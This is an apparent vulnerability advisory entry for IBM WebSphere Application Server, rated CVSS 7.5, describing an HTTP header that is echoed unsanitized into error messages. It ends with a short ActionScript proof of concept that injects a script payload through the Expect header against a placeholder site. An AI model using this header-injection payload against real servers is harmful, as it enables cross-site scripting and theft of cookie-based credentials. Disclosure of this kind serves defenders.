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WebSphere Application Server
by:
7.5
CVSS
HIGH
HTTP Request Header Security Weakness
CWE
Product Name: WebSphere Application Server
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IBM WebSphere Application Server HTTP Request Header Security Weakness

The software fails to sanitize a certain HTTP header when the data is redirected to an error message. An attacker may exploit this issue to steal cookie-based authentication credentials and launch other attacks.

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source: https://www.securityfocus.com/bid/26457/info

IBM WebSphere Application Server is prone to a security weakness regarding an HTTP request header. The software fails to sanitize a certain HTTP header when the data is redirected to an error message.

An attacker may exploit this issue to steal cookie-based authentication credentials and launch other attacks. 

var req:LoadVars=new LoadVars();
req.addRequestHeader("Expect",
"<script>alert('gotcha!')</script>");
req.send("http://www.target.site/","_blank","GET");

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